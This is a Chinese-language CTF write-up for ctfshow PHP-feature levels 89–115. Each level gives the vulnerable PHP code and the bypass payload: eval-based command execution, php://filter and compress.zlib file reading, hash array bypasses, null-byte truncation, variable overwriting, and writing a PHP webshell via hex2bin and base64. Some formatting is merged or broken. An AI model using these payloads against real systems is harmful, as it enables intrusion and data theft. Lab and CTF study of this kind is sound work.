PHP特性:

89:

if(isset($_GET['c'])){   $c = $_GET['c'];   if(!preg_match("/flag/i", $c)){     eval($c);   }   }else{   highlight_file(__FILE__); }

命令执行:?c=system(‘tac fl*’);

90:

if(isset($_GET['num'])){   $num = $_GET['num'];   if($num==="4476"){     die("no no no!");   }   if(intval($num,0)===4476){     echo $flag;   }else{     echo intval($num,0);   } 

intval:

intval ( mixed $var [, int $base = 10 ] ) : int

$var:要转换为整数的变量,可以是字符串、浮点数等。

$base:可选参数,指定转换所使用的进制,默认值是 10(十进制)

intval ($num,0): 如果 base 是 0,通过检测 var 的格式来决定使用的进制: 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则, 如果字符串以 “0” 开始,使用 8 进制 (octal);否则, 将使用 10 进制 (decimal)。

这个是意思让num!=4476,但是intval($num,0)的意思是:if(intval($num,0)===4476) 语句的作用是判断经过 intval 转换后的 $num 的整数值是否严格等于 4476 ,如果是,则执行 if 代码块内的语句;如果不是,则跳过 if 代码块内的语句。

那么就可以进行进制:?num=0x117C

91:

$a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){   if(preg_match('/^php$/i', $a)){     echo 'hacker';   }   else{     echo $flag;   } } else{   echo 'nonononono'; } 

前面正则是im,但是后面却是i:

i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

?cmd=%0aphp(%0a是换行)

92:

和90一样;

93:

if($num==4476){     die("no no no!");   }   if(preg_match("/[a-z]/i", $num)){     die("no no no!");   }   if(intval($num,0)==4476){     echo $flag;

过滤了字母但是就是不能使用16进制,但是可以使用8进制:num=010574;

94:

多过滤了0,就是不能使用8进制,可以使用小数:num=4476.0;

95:

if(isset($_GET['num'])){   $num = $_GET['num'];   if($num==4476){     die("no no no!");   }   if(preg_match("/[a-z]|\./i", $num)){     die("no no no!!");   }   if(!strpos($num, "0")){     die("no no no!!!");   }   if(intval($num,0)===4476){     echo $flag;   } 

strpos() 是 PHP 中的一个内置函数,用于查找字符串中第一次出现指定子字符串的位置。那么就可以使用:?num=%0a010574(0b,0c)都是可以的;

96:

(1):直接上php伪协议:u=php://filter/convert.base64-encode/resource=flag.php

(2)linux:linux下面表示当前目录是 ./ 所以我们的payload: u=./flag.php

97:

if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'

这个是md5绕过,在 PHP 中,存在弱类型比较的机制,即使用 == 进行比较时,PHP 会尝试将不同类型的数据转换为合适的类型再进行比较。当对数组使用 md5() 函数时,md5() 函数无法处理数组,会返回 null

直接数组绕过:a[]=1&b[]=2

98:

include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); ?> 

首先要看懂三元运算符,其格式为:(expr1) ? (expr2):(expr3)。如果 expr1 为 true,则执行 expr2;否则,执行 expr3。

$_GET?$_GET=&$_POST:'flag';

即判断有没有GET的值传,如果有那么GET传参的值=POST传参的值然后:?HTTP_FLAG=flag//POST:HTTP_FLAG=flag

99:

$allow = array(); for ($i=36; $i < 0x36d; $i++) {   array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){   file_put_contents($_GET['n'], $_POST['content']); } 

首先创建一个名为$allow的数组;然后在这个数组里面使用for循环在数组中添加随机数从1一直到877:第一次:1-36,第二次:1-37依次循环;然后可以在当前目录新建一个文件并且在文件中写入任意的东西但是前提是传入n的值再随机数的数组中存在

这里说明一下:in_array函数的小问题:in_array()此函数一般情况下会把 "1.php" 视为数字 1,2.php同理

然后就猜1,2,3什么的概率大点:然后在:?n=1.php;////POST:content=然后就是命令执行了

100:

highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){   if(!preg_match("/\;/", $v2)){     if(preg_match("/\;/", $v3)){       eval("$v2('ctfshow')$v3");     }   }   }  ?> 

这个首先要知道赋值操作大于and;即只要v1=num就行了然后就可以利用eval函数了(RCE)就行了;

v1=1&v2=system(‘ls’)/&v3=/;

101:

$v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){   if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){     if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){       eval("$v2('ctfshow')$v3");     }   }   } 

这关和web100关的区别是禁用了许多符号这就说明我们无法使用注释来像上一关那样输出ctfshow;

这里呢需要使用内置函数反射类给他回显出来:

  • ReflectionClass:获取类的相关信息,函数、属性、常量等;
  • ReflectionMethod:类的相关方法的获取以及调用;
  • ReflectionParameter:获取类的函数或者方法参数的相关信息;
  • ReflectionProperty:类的相关属性

然后v1=1&v2=echo new Reflectionclass&v3=;

102:

$v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){   $s = substr($v2,2);   $str = call_user_func($v1,$s);   echo $str;   file_put_contents($v3,$str); } else{   die('hacker'); }  ?> 

substr函数:substr(a,b):返回一部分,从b开始截取 例:$a=123456 substr($a,2); 返回:3456

call_user_func ($callback, parameter):调用函数,第一个参数为被调用的函数,第二个参数为被调用函数所需的参数

file_put_contents (filename, data):把 data 数据写入 filename;

既然往进写文件那就可以写一个php的一句话木马或者是命令执行那一句话木马如何只作为数字并且经过函数又正常执行呢那一定是16进制和hex2bin但是0x在is_numeric里面过不去;所以可以进行:先base64再16进制:

?v2=cc504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=1.php` `post: v1=hex2bin
### 103: 就过滤了php,和102一样 ### 104:
if(isset($_POST['v1']) && isset($_GET['v2'])){   $v1 = $_POST['v1'];   $v2 = $_GET['v2'];   if(sha1($v1)==sha1($v2)){     echo $flag;   } 
直接数组绕过 ### 105:
highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){   if($key==='error'){     die("what are you doing?!");   }   $$key=$$value; }foreach($_POST as $key => $value){   if($value==='flag'){     die("what are you doing?!");   }   $$key=$$value; } if(!($_POST['flag']==$flag)){   die($error); } echo "your are good".$flag."\n"; die($suces); ?> 
变量覆盖:[PHP变量覆盖漏洞解析-CSDN博客](https://blog.csdn.net/weixin_43803070/article/details/91151861) foreach ($_GET as $key => $value) $$key = $$value 这个的意思如果你进行GET传参的话:1=flag;那么就是$1=$flag;然后再根据条件:
if(!($_POST['flag']==$flag)){   die($error); 
这个就是检查POST传参里面的键里面是不是有flag的参数;然后它比较 $_POST['flag'] 的值与之前加载的 flag.php 文件中定义的 $flag 变量的值是否相等。如果这两个值不相等(即 !($_POST['flag']==$flag) 为真),则执行die($error); 语句,终止脚本执行,并输出 $error 变量的值作为错误信息;这里利用的是die($error)来实现的输出 pyload:GET:?1=flag POST:error=1;即:$error=$1=$flag; ### 106:
if(isset($_POST['v1']) && isset($_GET['v2'])){   $v1 = $_POST['v1'];   $v2 = $_GET['v2'];   if(sha1($v1)==sha1($v2) && $v1!=$v2){     echo $flag;   } 
数组绕过; ### 107:
if(isset($_POST['v1'])){   $v1 = $_POST['v1'];   $v3 = $_GET['v3'];    parse_str($v1,$v2);    if($v2['flag']==md5($v3)){      echo $flag;    } 
`parse_str` 函数有两种使用方式: 1. 当只传入一个参数时,它会把查询字符串解析成变量,并将这些变量注册到当前符号表中。//可以理解是传值 2. 当传入两个参数时,它会把查询字符串解析成变量,然后将这些变量作为键值对存储在第二个参数所指定的数组里。 先数组绕过?v3[]=1;然后
if($v2['flag']==md5($v3)){      echo $flag;    } 
v1=flag ### 108:
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {   die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){   echo $flag; } 
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配; ?c=a%00778 ### 109:
if(isset($_GET['v1']) && isset($_GET['v2'])){   $v1 = $_GET['v1'];   $v2 = $_GET['v2'];   if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){       eval("echo new $v1($v2());");   } 
可以进行和反射类一样或者尝试一下异常类 ### 110:
if(isset($_GET['v1']) && isset($_GET['v2'])){   $v1 = $_GET['v1'];   $v2 = $_GET['v2'];   if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){       die("error v1");   }   if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){       die("error v2");   }   eval("echo new $v1($v2());"); 
考点:
filesystemiterator 遍历文件类(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DirectoryIterator 遍历目录类

getcwd()函数 获取当前工作目录 返回当前工作目录
然后遍历目录就行,查看到f开头的文件,直接访问就行了 ### 111: ### 112:
<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file函数是检查是不是存在这个文件,如果有echo hacker,否则就高亮显示;直接进行伪协议读取flag ### 113:
function filter($file){   if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){     die('hacker!');   }else{     return $file;   } } $file=$_GET['file']; if(! is_file($file)){   highlight_file(filter($file)); }else{   echo "hacker!"; }
一看的话可能是伪协议;没有过滤封装协议;可以进行:?file=compress.zlib://flag.php ### 114: `function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } `师傅们居然tql都是非预期 哼! 没有过滤filter; ?file=php://filter/resource=flag.php; ### 115:
function filter($num){   $num=str_replace("0x","1",$num);   $num=str_replace("0","1",$num);   $num=str_replace(".","1",$num);   $num=str_replace("e","1",$num);   $num=str_replace("+","1",$num);   return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){   if($num=='36'){     echo $flag;   }else{     echo "hacker!!";   } }else{   echo "hacker!!!";
1:进行替换 2:是不是整数 3:不=36 4:trim函数去除俩边空白符,但是没有过滤\f 5:filter(num)=36
<?php

for ($i = 0; $i < 129; $i++) {
$num = chr($i) . '36';
if (trim($num) !== '36' && is_numeric($num) && $num !== '36') {
echo urlencode(chr($i)) . "\n";
}
}
?>
进行测试;?num=%0c36